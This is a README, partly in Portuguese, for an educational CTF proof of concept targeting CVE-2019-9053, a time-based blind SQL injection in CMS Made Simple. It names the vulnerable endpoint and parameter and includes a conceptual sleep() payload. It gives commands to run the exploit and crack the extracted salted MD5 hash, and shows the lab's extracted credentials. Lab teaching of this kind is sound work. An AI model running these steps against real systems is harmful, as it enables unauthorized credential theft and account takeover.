rideckszz/poc-cve-2019-9053PoC didático em Python 3 para a CVE-2019-9053, uma SQL Injection time-based blind no CMS Made Simple <= 2.2.9. Esta versão foi adaptada para uso em CTF/laboratório, com prefixos pré-configurados para reduzir o tempo de extração e mensagens explicativas em português.
Educational PoC in Python 3 for CVE-2019-9053, a time-based blind SQL Injection vulnerability in CMS Made Simple <= 2.2.9.
This version has been modified for use in CTF/lab environments. It includes pre-configured prefixes to reduce extraction time and explanatory messages in Portuguese to help students understand how the exploit works.
This project is intended exclusively for educational purposes, controlled lab environments, and CTF challenges.
Do not use this code against third-party systems without explicit authorization.
The author of this repository is not responsible for any misuse of this material.
CVE-2019-9053 affects older versions of CMS Made Simple, allowing unauthenticated SQL Injection via the m1_idlist parameter at the endpoint:
/moduleinterface.php?mact=News,m1_,default,0
Since the SQL query result does not appear directly on the page, the exploit uses a technique called time-based blind SQL Injection.
The exploit sends payloads that cause the database to execute sleep(1) when a condition is true.
Conceptual example:
AND (
SELECT sleep(1)
FROM cms_users
WHERE password LIKE '0c01%'
)
If the server delays in responding, the script understands that the tested prefix is correct.
Thus, it reconstructs sensitive information character by character, such as:
In this CTF version, some prefixes have already been included in the code to reduce the time needed during the activity.
An SQL Injection occurs when the application inserts user-controlled data into an SQL query without proper sanitization.
In this case, the injection is blind because the query result does not appear directly in the HTTP response.
It is time-based because the attacker uses the server response time as a communication channel. If the tested condition is true, the database executes a delay with sleep(). If false, the response comes normally.
Simplified example:
Pergunta feita pelo exploit:
"O hash da senha começa com 0c01?"
Se sim:
O banco executa sleep(1), e a resposta demora.
Se não:
A resposta vem sem atraso perceptível.
By repeating this process character by character, the exploit can reconstruct database values even without seeing them directly on the page.
A salt is an extra value used together with the password before generating the hash.
In this challenge, CMS Made Simple uses logic similar to:
md5(salt + password)
For example:
salt = 1dac0d92e9fa6bb2
password = exemplo123
The hash would be calculated from:
1dac0d92e9fa6bb2exemplo123
The salt serves to hinder attacks with precomputed tables and to ensure that identical passwords can generate different hashes in different contexts.
Nevertheless, md5(salt + password) is an old and weak method of password storage. Modern systems should use dedicated password hashing algorithms, such as:
This version has been adapted to facilitate use in a hands-on activity.
Main changes:
Values used in the challenge:
Salt completo: 1dac0d92e9fa6bb2
Username: mitch
Email: [email protected]
Hash completo: 0c01f4468bd75d7a84c7eb73846e8d96
Prefixes configured in the exploit:
Salt prefix: 1dac0d92
Username prefix: mit
Email prefix: admin@
Hash prefix: 0c01f446
These prefixes do not remove the attack logic. They only reduce the time required for the lab activity.
poc-CVE-2019-9053/
├── exploit_ctf.py
├── requirements.txt
├── README.md
├── wordlist-example.txt
└── .gitignore
Clone the repository:
git clone https://github.com/SEU_USUARIO/poc-CVE-2019-9053.git
cd poc-CVE-2019-9053
Create a virtual environment:
python3 -m venv .venv
Activate the virtual environment:
source .venv/bin/activate
Install the dependencies:
pip install -r requirements.txt
The requirements.txt file should contain:
requests
termcolor
Simple execution:
python3 exploit_ctf.py -u http://target/cms
Execution with password cracking attempt using a wordlist:
python3 exploit_ctf.py -u http://target/cms --crack -w wordlist-example.txt
See script help:
python3 exploit_ctf.py -h
The wordlist-example.txt file can contain:
wrongpassword
admin123
dieema123
password
123456
[+] Salt da senha encontrado: 1dac0d92e9fa6bb2
[+] Username encontrado: mitch
[+] Email encontrado: [email protected]
[+] Hash da senha encontrado: 0c01f4468bd75d7a84c7eb73846e8d96
[+] Senha encontrada: dieema123
After the exploit extracts the password salt and hash, it can attempt to discover the plaintext password using a wordlist.
The tested logic is:
md5(salt + senha_candidata)
For each password in the wordlist, the script computes the hash and compares it with the hash extracted from the database.
Conceptual example:
candidate_hash = md5("1dac0d92e9fa6bb2" + "dieema123")
If the result matches the extracted hash, the password has been found.
Time-based SQL Injection is usually slow, because each character needs to be tested over multiple requests.
This version reduces time by using:
Even so, the time may vary depending on:
TIME_DELAY.If there are many false positives or false negatives, increase the TIME_DELAY value in the code.
Python 3 version modified for CTF by Derick G. Andrighetti.
Based on an old public PoC in Python 2 originally published by Daniele Scanu, from Certimeter Group.
Educational use.
This material was produced for study purposes, lab demonstration, and CTF activities.